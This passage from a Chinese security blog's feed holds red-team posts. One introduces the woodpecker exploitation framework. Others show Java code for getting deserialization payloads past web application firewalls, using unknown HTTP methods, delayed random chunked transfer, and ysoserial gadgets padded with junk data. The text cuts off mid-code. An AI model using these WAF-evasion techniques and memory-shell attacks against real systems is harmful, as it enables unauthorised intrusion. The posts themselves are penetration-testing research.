t3s</span><br></pre></td></tr></table></figure><p>这些信息有什么用呢?当然是让我们知道面前这个weblogic的薄弱点在哪里,后续攻击的计划应该是:t3和iiop系列漏洞不用测试了,wls-wsat组件的xmldecoder反序列化漏洞可以看看。</p><h2 id="0x03-精准检测模块-POC"><a href="#0x03-精准检测模块-POC" class="headerlink" title="0x03 精准检测模块(POC)"></a>0x03 精准检测模块(POC)</h2><p><strong>精准检测模块的任务是使用poc去判断漏洞是否存在。</strong> 显然精准是这个模块关注的问题,我们的原则是误报可以原谅,但是漏报坚决杜绝。</p><p>那现实如此复杂的漏洞环境,怎么实现精准检查呢?woodpecker插件的检测原则是尽可能的实现以下所有检测方案。</p><ol><li>回显检测</li><li>dnslog检测</li><li>间接检查</li><li>写文件检测</li><li>触发补丁检测</li><li>延时检测</li><li>特定特征检测</li><li>….</li></ol><p><img src="/articles/2021/woodpecker-framework-introduce/cve-2020-148823.png" alt></p><p>这里我细说下<code>3</code>,<code>5</code>和<code>7</code>这三个方案,其他方案顾名思义。</p><p><code>间接检测</code>是不通过直接触发漏洞来检测,而是通过其他方面间接来验证。举2个例子,shiro key的检测由开始的通过回显,dnslog之类的直接检测变成了现在统计rememberMe个数。weblogic漏洞检测则可通过下载黑明单class来验证是否被修复。这些方法很巧妙,在漏检中有四两拨千斤的作用。</p><ul><li><a href="https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ" target="_blank" rel="noopener">一种另类的 shiro 检测方式</a></li><li><a href="https://mp.weixin.qq.com/s/tgQO9ILHudfkkOzeahICTg" target="_blank" rel="noopener">红蓝必备 你需要了解的weblogic攻击手法</a></li></ul><p><code>触发补丁检测</code>就是提交可触发补丁的payload,然后看是否拦截来确定漏洞是否修复。比如CVE-2019-2725我们就可以发送带<class>标签的payload,若如下提示非法标签说明漏洞修复了。</class></p><p><img src="/articles/2021/woodpecker-framework-introduce/cve-2019-2725.png" alt></p><p><code>特定特征检测</code>就是通过respone的某些特征可以知道漏洞是否修复,比如CVE-2020-14882/3漏洞修复后的响应如下,那咱们就可以通过repsoen状态码为<code>500</code>,返回包中存在<code>The server encountered an unexpected condition which prevented it from fulfilling the request.</code>提示来判断。</p><p><img src="/articles/2021/woodpecker-framework-introduce/cve-2020-148823-fixbug.png" alt></p><h2 id="0x04-深度利用模块-Exploit"><a href="#0x04-深度利用模块-Exploit" class="headerlink" title="0x04 深度利用模块(Exploit)"></a>0x04 深度利用模块(Exploit)</h2><p><strong>深度利用模块的任务是发挥漏洞的最大利用价值</strong>。比如一个RCE可以干的事情很多,命令执行,写文件,读文件,反弹shell,注入内存马,开启bindshell等等。不过最后我梳理了下,很多功能都是有交集的,比如反弹shell可以通过命令执行来反弹,读文件可以通过webshell来读。所以在红队行动中,真正对我们有用的一般是三个功能,woodpecker插件编写的原则上要求深度利用模块必须实现这3个功能,并保证稳定性。</p><ol><li>写文件</li><li>命令回显</li><li>注入内存马</li></ol><p><img src="/articles/2021/woodpecker-framework-introduce/cve-2020-148823-injectmemshell.png" alt></p><h2 id="0x05-荷载生成模块-Payload-generator"><a href="#0x05-荷载生成模块-Payload-generator" class="headerlink" title="0x05 荷载生成模块(Payload generator)"></a>0x05 荷载生成模块(Payload generator)</h2><p><strong>荷载生成模块的任务是帮助红队人员快速生成自定义payload。</strong> 自动化并不能解决所有问题,当遇到奇葩环境时就需要人工介入。比如当shiro漏洞遇到未知中间件时,可能无法回显也无法注入内存马,这时就需要人工构造payload了。但是每次都要先生成序列化数据,设置key,选择加密模式,非常浪费时间。而woodpecker shiro漏洞插件的荷载生成模块可以一键生成。</p><p><img src="/articles/2021/woodpecker-framework-introduce/shiro-payload-generator.png" alt></p><h2 id="0x06-辅助模块-Helper"><a href="#0x06-辅助模块-Helper" class="headerlink" title="0x06 辅助模块(Helper)"></a>0x06 辅助模块(Helper)</h2><p><strong>该模块的任务是将漏洞检测和利用中经常要进行的操作自动化,节省时间。</strong></p><p>比如在java命令执行漏洞中无法使用带有管道符的命令,需要我们去转换下命令。当然有<a href="http://www.jackson-t.ca/runtime-exec-payloads.html" target="_blank" rel="noopener">Jackson_T</a>这样的在线网站,这里我编写成了<a href="https://github.com/woodpecker-appstore/runtime-exec-encoder" target="_blank" rel="noopener">本地插件</a>。</p><p><img src="/articles/2021/woodpecker-framework-introduce/runtime.exec.png" alt></p><p>同时如果想通过命令执行漏洞写一个shell的话,往往需要转义下,这个过程也是比较繁琐的。可以使用<a href="https://github.com/woodpecker-appstore/EchoToFileConverter" target="_blank" rel="noopener">EchoToFileConverter</a>插件来解决。</p><p><img src="/articles/2021/woodpecker-framework-introduce/echo-to-file.png" alt></p><h2 id="0x07-最后的话"><a href="#0x07-最后的话" class="headerlink" title="0x07 最后的话"></a>0x07 最后的话</h2><p>如果你比较认同这样的设计,并有能力编写插件。欢迎到github提交pr或者插件。</p><ul><li><a href="https://woodpecker.gv7.me" target="_blank" rel="noopener">框架主页</a></li><li><a href="https://github.com/woodpecker-framework" target="_blank" rel="noopener">框架仓库</a></li><li><a href="http://github.com/woodpecker-appstore" target="_blank" rel="noopener">插件仓库</a></li></ul>]]></content>
<summary type="html">
<h2 id="0x01-简介"><a href="#0x01-简介" class="headerlink" title="0x01 简介"></a>0x01 简介</h2><p>woodpecker-framework是一款高危漏洞综合利用框架,目的是可以狙击高危漏洞,拿到权限
</summary>
<category term="安全开发" scheme="https://gv7.me/tags/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
<category term="woodpecker-framework" scheme="https://gv7.me/tags/woodpecker-framework/"/>
</entry>
<entry>
<title>shiro反序列化绕WAF之未知HTTP请求方法</title>
<link href="https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/"/>
<id>https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/</id>
<published>2021-08-07T13:49:06.000Z</published>
<updated>2021-09-05T14:34:15.967Z</updated>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>当下WAF对shiro的防护,确实比较严格。对rememberMe的长度进行限制,甚至解密payload检查反序列化class。本周我遇到一个场景,就是这种情况。使用之前的方法<code>rememberMe</code>=<code>加密payload</code>+<code>==垃圾数据</code>也失败了,<a href="https://mp.weixin.qq.com/s/P5h9_K4YcvsrU4tsdHsJdQ" target="_blank" rel="noopener">这个方法</a>之前有大佬分享过,我就不再赘述了。我最终使用<code>未知HTTP请求方法</code>解决战斗。</p><p><img src="/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/blocked-by-waf.png" alt="被WAF拦截"></p><h2 id="0x02-过程"><a href="#0x02-过程" class="headerlink" title="0x02 过程"></a>0x02 过程</h2><p>当时我的思考是shiro的payload在header上,如何修改request header可以导致waf解析不出来,但是后端中间件正常解析呢?</p><p>第一步,先构造出先绕WAF,哪怕改成不合法的数据包。<br>第二步,在绕WAF的数据包基础上修正,让后端中间件可以解析。</p><p>我把被拦截的包发送的repeater模块,尝试切换http版本,添加垃圾header头等等方法均没绕过。在修改GET方法为<code>XXX</code>这样的未知HTTP请求方法时,发现WAF不在拦截,但是后端报错了。</p><p><img src="/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/bypass-waf.png" alt="未知HTTP请求方法可以过WAF"></p><p>接下来验证下后端是否真正处理了rememberMe。我先请求去掉rememberMe,response对应的rememberMe消失了</p><p><img src="/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/test-for-del-rememberme.png" alt="删除rememberMe进行测试"></p><p>然后再加上rememberMe,repseone的remeberMe又回来了。这说明后端正常处理rememberMe,这么绕WAF没问题!</p><p><img src="/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/test-for-add-rememberme.png" alt="添加rememberMe进行测试"></p><p>最后将之前注入内存webshell的payload修改下请求方法,成功下Web权限。</p><h2 id="0x03-原理"><a href="#0x03-原理" class="headerlink" title="0x03 原理"></a>0x03 原理</h2><p>方法简单粗暴,不难推断WAF是通过正常的http方法识别HTTP数据包的。但是为何后端中间件依然能拿到rememberMe的结果呢?</p><p>于是我在本地代码<code>org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity</code>处下了断点。</p><p><img src="/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/debug-shiro-rememberme.png" alt="调试shiro rememberMe流程"></p><p>通过<code>XXX方法</code>发送数据包,调试发现<code>request.getCookies</code>可以获取到<code>rememberMe</code>值,而且如下方法均可正常使用。说明未知HTTP请求方法不影响各类参数的读取。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">request.getHeader</span><br><span class="line">request.getParameter // 只能读url提交的参数,body提交的没有解析</span><br><span class="line">request.getInputStream // 读request body</span><br></pre></td></tr></table></figure><p>那对三大组件的调用是否有影响呢?继续翻阅Tomcat源码,我发现Listener被调用是受<code>行为事件</code>影响,Filter是受<code>请求路径</code>影响,而Servlet是受<code>请求路径</code>和<code>HTTP请求方法</code>影响。一旦遇到未知方法,Servlet不再进入业务代码,直接返回一个<code>http.method_not_implemented</code>报错。具体代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//javax.servlet.http.HttpServlet#service</span></span><br><span class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">service</span><span class="params">(HttpServletRequest req, HttpServletResponse resp)</span> <span class="keyword">throws</span> ServletException, IOException </span>{</span><br><span class="line"> String method = req.getMethod();</span><br><span class="line"> <span class="keyword">long</span> lastModified;</span><br><span class="line"> <span class="keyword">if</span> (method.equals(<span class="string">"GET"</span>)) {</span><br><span class="line"> .....</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"HEAD"</span>)) {</span><br><span class="line"> lastModified = <span class="keyword">this</span>.getLastModified(req);</span><br><span class="line"> <span class="keyword">this</span>.maybeSetLastModified(resp, lastModified);</span><br><span class="line"> <span class="keyword">this</span>.doHead(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"POST"</span>)) {</span><br><span class="line"> <span class="keyword">this</span>.doPost(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"PUT"</span>)) {</span><br><span class="line"> <span class="keyword">this</span>.doPut(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"DELETE"</span>)) {</span><br><span class="line"> <span class="keyword">this</span>.doDelete(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"OPTIONS"</span>)) {</span><br><span class="line"> <span class="keyword">this</span>.doOptions(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"TRACE"</span>)) {</span><br><span class="line"> <span class="keyword">this</span>.doTrace(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> String errMsg = lStrings.getString(<span class="string">"http.method_not_implemented"</span>);</span><br><span class="line"> Object[] errArgs = <span class="keyword">new</span> Object[]{method};</span><br><span class="line"> errMsg = MessageFormat.format(errMsg, errArgs);</span><br><span class="line"> resp.sendError(<span class="number">501</span>, errMsg);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>所以得到一个结论就是 <strong>未知Http方法名绕WAF这个姿势,可以使用在Filter和Listener层出现的漏洞,同时WAF不解析的情况</strong>。</p>]]></content>
<summary type="html">
<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>当下WAF对shiro的防护,确实比较严格。对rememberMe的长度进行限制,甚至解密paylo
</summary>
<category term="绕WAF" scheme="https://gv7.me/tags/%E7%BB%95WAF/"/>
</entry>
<entry>
<title>Java反序列化数据绕WAF之延时分块传输</title>
<link href="https://gv7.me/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/"/>
<id>https://gv7.me/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/</id>
<published>2021-08-03T09:22:41.000Z</published>
<updated>2021-08-31T13:44:54.255Z</updated>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p><code>chunked-coding-converter</code>在0.2.1以及之前版本是不支持对二进制数据进行分块的。这个问题实验室的<code>darkr4y</code>师傅今年3月份的时候就已经反馈了多次,由于懒癌在身一直没有更新。直到我自己遇到一个站点,<a href="https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/">反序列化带大量脏数据</a>没有绕成功,于是又想起了分块传输。花了一点时间让插件支持了二进制数据,然而这样依然被拦截了! </p><p><img src="/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/blocked-by-waf.png" alt="直接分块传输被WAF拦截"></p><p>这也在意料之中,分块传输被公开已经有两年之久,很多WAF已经支持检测。那有没有办法让这个姿势重振往日雄风呢?</p><h2 id="0x02-延时分块"><a href="#0x02-延时分块" class="headerlink" title="0x02 延时分块"></a>0x02 延时分块</h2><p>通过测试,发现WAF一般是如下应对分块传输的。</p><ol><li>发现数据包是分块传输,启动分块传输线程进行接收</li><li>分块传输线程不断接收客户端传来的分块,直到接收到<code>0\r\n\r\n</code></li><li>将所有分块合并,并检测合并之后的内容。</li></ol><p>当时和<code>darkr4y</code>师傅交流时,我们曾做过一个设想,<strong>在上一块传输完成后,sleep一段时间,再发送下一块。</strong> 目的是在2阶段延长WAF分块传输线程的等待时间,消耗WAF性能。这时有没有可能WAF为自身性能和为业务让步考虑,而放弃等待所有分块发送完呢? 。这次正好遇到适合的环境来验证一下想法。</p><p><img src="/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/sleep-chunked-bypass-workflow.png" alt="延时分块传输绕WAF流程"></p><p>当然了,我们块与块之间发送的间隔时间必须要小于后端中间件的<code>post timeout</code>,Tomcat默认是20s,weblogic是30s。</p><h2 id="0x03-编码实现"><a href="#0x03-编码实现" class="headerlink" title="0x03 编码实现"></a>0x03 编码实现</h2><p>为了加大WAF的识别难度,我们可以考虑以下3点。</p><ol><li>延时时间随机化</li><li>分块长度随机化</li><li>垃圾注释内容与长度随机化[可选]</li></ol><p>首先我们需要对原始request header进行处理。需要把<code>Content-Length</code>删除,分块传输不需要发送body长度,然后加上<code>Transfer-Encoding: chunked</code>头。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">headers.remove(<span class="string">"Content-Length"</span>);</span><br><span class="line">headers.put(<span class="string">"Transfer-Encoding"</span>,<span class="string">"chunked"</span>);</span><br></pre></td></tr></table></figure><p>其实调用<code>HttpURLConnection.setChunkedStreamingMode(int chunkedLen)</code>就可以实现分块发包。不过这个接口只能设置固定分块长度,而且无法直接控制分块时间间隔。于是我打算用socket来模拟发送http/https分块传输包,这样要灵活的多。以下是实现的简化代码。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 1.连接目标服务器</span></span><br><span class="line">Socket socket = socket.connect(<span class="keyword">new</span> InetSocketAddress(host, port));</span><br><span class="line">OutputStream osw = socket.getOutputStream();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2.发送request header</span></span><br><span class="line">osw.write(reqHeader);</span><br><span class="line">osw.flush();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 3.随机分块和随机延时发送request body</span></span><br><span class="line">ByteArrayInputStream byteArrayInputStream = <span class="keyword">new</span> ByteArrayInputStream(reqBody);</span><br><span class="line"><span class="keyword">byte</span>[] buffer = <span class="keyword">new</span> <span class="keyword">byte</span>[Util.getRandom(minChunkedLen,maxChunkedLen)];</span><br><span class="line"><span class="keyword">while</span> (byteArrayInputStream.read(buffer) != -<span class="number">1</span>){</span><br><span class="line"> <span class="comment">// 3.1发送分块长度</span></span><br><span class="line"> <span class="keyword">final</span> String chunkedLen = Util.decimalToHex(buffer.length) + <span class="string">"\r\n"</span>;</span><br><span class="line"> osw.write(chunkedLen.getBytes());</span><br><span class="line"> chunkeInfoEntity.setChunkedLen(buffer.length);</span><br><span class="line"> osw.flush();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 3.2发送分块内容</span></span><br><span class="line"> <span class="keyword">byte</span>[] chunked = Transfer.joinByteArray(buffer, <span class="string">"\r\n"</span>.getBytes());</span><br><span class="line"> osw.write(chunked);</span><br><span class="line"> osw.flush();</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 3.3延时</span></span><br><span class="line"> <span class="keyword">int</span> sleeptime = Util.getRandom(minSleepTime,maxSleepTime);</span><br><span class="line"> Thread.sleep(sleeptime);</span><br><span class="line"> </span><br><span class="line"> buffer = <span class="keyword">new</span> <span class="keyword">byte</span>[Util.getRandom(minChunkedLen,maxChunkedLen)]; <span class="comment">// 获取新的buffer长度</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 4.发送完毕</span></span><br><span class="line">osw.write(<span class="string">"0\r\n\r\n"</span>.getBytes());</span><br><span class="line">osw.flush();</span><br><span class="line"><span class="keyword">byte</span>[] result = readFullHttpResponse(socket.getInputStream());</span><br></pre></td></tr></table></figure><p>为了方便日后使用,我给<a href="https://github.com/c0ny1/chunked-coding-converter" target="_blank" rel="noopener">chunked-coding-converter</a>插件添加了<code>sleep chunked sender</code>,并添加很多细节功能,比如预估分块数量范围和延时范围,显示每一块发送的内容,长度,延时时间以及发送状态等等。</p><p>这里我直接使用最新版本,将被拦截的数据分成<code>218块</code>,共延时<code>1分46秒</code>发送,最终成功绕过WAF。</p><p><img src="/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/bypass-through-sleep-chunked.png" alt="延时分块传输成功绕过WAF"></p><h2 id="0x04-一些零碎"><a href="#0x04-一些零碎" class="headerlink" title="0x04 一些零碎"></a>0x04 一些零碎</h2><p>最后列一点边边角角的东西,当餐后”甜点“,需要请自取。</p><ol><li>只有HTTP/1.1支持分块传输</li><li>POST包都支持分块,不局限仅仅于反序列化和上传包</li><li>Transfer-Encoding: chunked大小写不敏感</li></ol>]]></content>
<summary type="html">
<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p><code>chunked-coding-converter</code>在0.2.1以及之前版本是
</summary>
<category term="安全开发" scheme="https://gv7.me/tags/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
<category term="绕WAF" scheme="https://gv7.me/tags/%E7%BB%95WAF/"/>
</entry>
<entry>
<title>Java反序列化数据绕WAF之加大量脏数据</title>
<link href="https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/"/>
<id>https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/</id>
<published>2021-08-01T02:15:35.000Z</published>
<updated>2021-08-07T14:33:37.602Z</updated>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>前几周有个同事发给我一个授权的站点,需要拿下webshell权限。发现存在Java反序列化漏洞,但是有WAF,ysoserial生成的序列化数据直接就被拦截了。</p><p><img src="/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/blocked-by-waf.png" alt="序列化数据被WAF拦截"></p><p>绕WAF的前提自然是先摸清WAF拦截的规则。我先是把序列化头<code>aced0005</code>删掉,发现还是被拦截了,看来WAF没开启无脑的hw模式。</p><p>接着将序列化数据当中的class名破坏,发现不再拦截了。说明WAF应该是把gadget的class加入了规则。</p><p>考虑到大多数WAF受限于性能影响,当request足够大时,WAF可能为因为性能原因作出让步,超出检查长度的内容,将不会被检查。于是我在序列化头后加了<code>50000</code>个<code>x</code>字符,发现WAf不再拦截,证明这个思路可行!</p><p>这样虽然绕过了WAF,但新的问题也来了。序列化数据是二进制数据,直接手工在burp里加入垃圾数据破坏了序列化数据的结构,后端代码并没有反序列化成功。接下来继续解决这个问题。</p><h2 id="0x02-如何给序列化数据加脏数据?"><a href="#0x02-如何给序列化数据加脏数据?" class="headerlink" title="0x02 如何给序列化数据加脏数据?"></a>0x02 如何给序列化数据加脏数据?</h2><p>我的思路是需要找到一个class可以序列化,它可以把我们的<code>脏数据对象</code>和<code>ysoserial gadget对象</code>一起包裹起来。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> </span>{</span><br><span class="line"><span class="keyword">new</span> <span class="keyword">byte</span>[<span class="number">50000</span>]{<span class="number">12</span>,<span class="number">12</span>,<span class="number">12</span>....} <span class="comment">//垃圾数据</span></span><br><span class="line">......</span><br><span class="line">ysoserial gadget object</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>所以我们要找的class,<strong>第一需要实现<code>java.io.Serializable</code>接口,第二可以存储任意对象</strong> 。这么看来集合类型就非常符合我们的需求。</p><ol><li>ArrayList</li><li>LinkedList</li><li>HashMap</li><li>LinkedHashMap</li><li>TreeMap</li><li>……</li></ol><p>伪代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">List<Object> arrayList = <span class="keyword">new</span> ArrayList<Object>();</span><br><span class="line">arrayList.add(dirtyData); <span class="comment">// 脏数据</span></span><br><span class="line">arrayList.add(gadget);<span class="comment">// gadget</span></span><br><span class="line"><span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(<span class="string">"/tmp/bypass-waf.ser"</span>)).writeObject(arrayList);</span><br></pre></td></tr></table></figure><h2 id="0x03-改造ysoserial"><a href="#0x03-改造ysoserial" class="headerlink" title="0x03 改造ysoserial"></a>0x03 改造ysoserial</h2><p>为了方便日后使用,我们可以改造下ysoserial,让所有gadget都支持添加大量垃圾数据。大致的流程调用是,构造函数传入gadget对象以及垃圾数据长度,然后调用doWrap方法随机创建一个集合类型把随机生成的脏数据和gadget对象存储起来,最终序列化该对象即可拿到bypass WAF的序列化数据。具体实现参考如下代码和注释。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">DirtyDataWrapper</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> dirtyDataSize; <span class="comment">//脏数据大小</span></span><br><span class="line"> <span class="keyword">private</span> String dirtyData; <span class="comment">//脏数据内容</span></span><br><span class="line"> <span class="keyword">private</span> Object gadget; <span class="comment">// ysoserila gadget对象</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">DirtyDataWrapper</span><span class="params">(Object gadget, <span class="keyword">int</span> dirtyDataSize)</span></span>{</span><br><span class="line"> <span class="keyword">this</span>.gadget = gadget;</span><br><span class="line"> <span class="keyword">this</span>.dirtyDataSize = dirtyDataSize;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 将脏数据和gadget对象存到集合对象中</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> 一个包裹脏数据和gadget对象可序列化对象</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">doWrap</span><span class="params">()</span></span>{</span><br><span class="line"> Object wrapper = <span class="keyword">null</span>;</span><br><span class="line"> dirtyData = getLongString(dirtyDataSize);</span><br><span class="line"> <span class="keyword">int</span> type = (<span class="keyword">int</span>)(Math.random() * <span class="number">10</span>) % <span class="number">10</span> + <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">switch</span> (type){</span><br><span class="line"> <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line"> List<Object> arrayList = <span class="keyword">new</span> ArrayList<Object>();</span><br><span class="line"> arrayList.add(dirtyData);</span><br><span class="line"> arrayList.add(gadget);</span><br><span class="line"> wrapper = arrayList;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> List<Object> linkedList = <span class="keyword">new</span> LinkedList<Object>();</span><br><span class="line"> linkedList.add(dirtyData);</span><br><span class="line"> linkedList.add(gadget);</span><br><span class="line"> wrapper = linkedList;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> HashMap<String,Object> map = <span class="keyword">new</span> HashMap<String, Object>();</span><br><span class="line"> map.put(<span class="string">"a"</span>,dirtyData);</span><br><span class="line"> map.put(<span class="string">"b"</span>,gadget);</span><br><span class="line"> wrapper = map;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line"> LinkedHashMap<String,Object> linkedHashMap = <span class="keyword">new</span> LinkedHashMap<String,Object>();</span><br><span class="line"> linkedHashMap.put(<span class="string">"a"</span>,dirtyData);</span><br><span class="line"> linkedHashMap.put(<span class="string">"b"</span>,gadget);</span><br><span class="line"> wrapper = linkedHashMap;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line"> TreeMap<String,Object> treeMap = <span class="keyword">new</span> TreeMap<String, Object>();</span><br><span class="line"> treeMap.put(<span class="string">"a"</span>,dirtyData);</span><br><span class="line"> treeMap.put(<span class="string">"b"</span>,gadget);</span><br><span class="line"> wrapper = treeMap;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> wrapper;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 生产随机字符串</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> length 随机字符串长度</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> 随机字符串</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">getLongString</span><span class="params">(<span class="keyword">int</span> length)</span></span>{</span><br><span class="line"> String str = <span 